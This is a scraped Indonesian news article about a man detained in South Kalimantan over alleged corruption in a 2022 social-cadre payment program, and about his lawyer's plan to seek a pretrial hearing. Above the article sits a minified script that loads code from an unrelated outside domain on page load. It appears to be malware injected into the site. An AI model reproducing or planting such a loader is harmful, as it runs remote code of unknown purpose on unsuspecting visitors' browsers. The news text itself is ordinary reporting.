(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Kasus Korupsi di Dinsos HST, Kuasa Hukum Berencana Ajukan Praperadilan


KANALKALIMANTAN.COM, BANJARMASIN – Seorang lelaki asal Kabupaten Hulu Sungai Tengah (HST), MS (28) tersandung kasus korupsi dan resmi ditahan oleh Tim Penyidik pada Bidang Tindak Pidana Khusus (Pidsus) Kejaksaan Tinggi (Kejati) Kalimantan Selatan (Kalsel), pada Jumat (30/8/2024) lalu.

MS resmi menjadi tahanan penyidik, setelah menjalani pemeriksaan sebagai saksi, lalu ditetapkan sebagai tersangka dalam perkara dugaan korupsi pada kegiatan kader sosial pada salah satu dinas untuk tahun anggaran 2022.

Dalam kasus tersebut, MS dijerat dengan pasal 2 ayat (1) jo pasal 18 Undang-Undang Nomor 31 tahun 1999 sebagaimana diubah dengan Undang-Undang Nomor 20 tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi juncto pasal 55 ayat (1) ke-1 KUHP sebagai dakwaan primair.

Sedangkan subsidaernya pasal 3 jo Undang-undang Nomor 31 Tahun 1999 sebagaimana diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi juncto Pasal 55 Ayat (1) ke-1 KUHP.

Baca juga: Tak Bisa Bedakan Mana Warung Mana Ballroom

Penasehat hukum MS, Zainal Abidin mengatakan, pihaknya merasa ada kejanggalan dalam penetapan tersangka hingga penahanan terhadap klien mereka MS dalam kasus tersebut.

Pasalnya, dalam kasus tersebut awalnya MS dipanggil sebagai saksi oleh pihak Pidsus Kejati Kalsel, namun pada hari yang sama MS ditetapkan sebagai tersangka, dan langsung dilakukan penahanan.

“Jadi di sini kita merasa janggal, klien kami ini diperiksa tanggal 30, kemudian ditetapkan sebagai tersangka, dan langsung ditahan pada hari yang sama, ini yang kami pertanyakan apakah prosedur seperti ini bisa,” ujar Zainal, kepada awak media, Sabtu (7/9/2024) siang.

Zainal menjelaskan, kasus dugaan korupsi terjadi pada Dinas Sosial Kabupaten HST yang menggelar kegiatan kader sosial pada bulan April 2022. MS diminta oleh Kepala Dinas Sosial (Kadinsos) Kabupaten HST untuk mencari kader sosial.

Baca juga: Kepemimpinan Saidi Mansyur – Habib Idrus Kembali Raih Penghargaan Wahana Tata Nugraha

Setelahnya, berhasil didapat para kader ini dengan jumlah 676 orang, per orang digaji sebesar Rp150 ribu per bulan selama tiga bulan.

Dari Dinsos HST menyerahkan uang sebesar Rp300 juta kepada MS untuk membayar para kader sosial tersebut.

“Jadi klien kami MS ini pun selesai mengerjakan tugasnya, hingga melakukan pembayaran. Klien kami juga tidak begitu mengerti dan tidak hapal para kader sosial tersebut, karena banyak yang datang tiap harinya dan tanda tangan untuk mengambil uang tersebut, dan disitulah yang menjadi awal kasus tersebut,” jelas Zainal.

Kemudian, kata Zainal, dari pihak Dinsos HST mengatakan ada kesalahan dalam administrasi penandatanganan, lalu pihaknya sempat melakukan perubahan dalam adminstrasi tersebut.

“Namun, karena merasa ada yang salah, Kadisnsos meminta dilakukan audit dari pihak inspektorat,” kata Zainal.

Baca juga: Wali Kota Banjarbaru Terima Wahana Tata Nugraha 2024 dari Kemenhub

Singkat cerita, lanjut Zainal, karena merasa masalah ini menjadi sorotan, pada Februari 2023 Kadinsos dan MS pun berinisiatif untuk menyelesaikan masalah secara internal.

“Mereka mengembalikan uang yang telah dikeluarkan sebelumnya, dengan menggunakan uang pribadi, agar tidak menjadi masalah kemudian hari, dan tidak menjadi kerugian negara,” papar Zainal.

“Karena tidak mungkin juga menarik kembali uang yang telah dibayarkan kepada para kader sosial tersebut, jadi mereka mengganti dengan uang pribadi, dan sudah masuk ke kas daerah,” sambungnya.

Selanjutnya, papar Zainal, pada Agustus 2024, masalah dugaan korupsi tersebut diambil alih Kejati Kalsel, dan dilakukan pemanggilan terhadap MS sebagai saksi. Dan kemudian ditetapkan sebagai tersangka serta penahanan.

Oleh sebab itu, ungkap Zainal, pihaknya akan berupaya melakukan upaya hukum yang menjadi hak dari klien mereka.

“Salah satunya prapradilan dan juga upaya hukum lainnya untuk membela klien kami,” ungkap Zainal. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

Bupati Saidi Mansyur dan Jajaran Pemkab Banjar Peringati Maulid Nabi Muhammad SAW

KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More

5 jam ago

Relawan Muhidin-Hasnur ‘Panaskan Mesin’, Sepakat Tidak Lakukan Kampanye Hitam

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More

8 jam ago

Kabar Alih Fungsi Minggu Raya, Ini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More

9 jam ago

Menjaga Tradisi Banjar Baayun Maulid di Masjid Tertua Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More

9 jam ago

PAFI PC Sorong: Mitra Setia dalam Pengembangan Profesi Farmasi

KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More

17 jam ago

Nurgita Tiyas Sapa Pedagang di Pasar Terapung Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More

1 hari ago

This website uses cookies.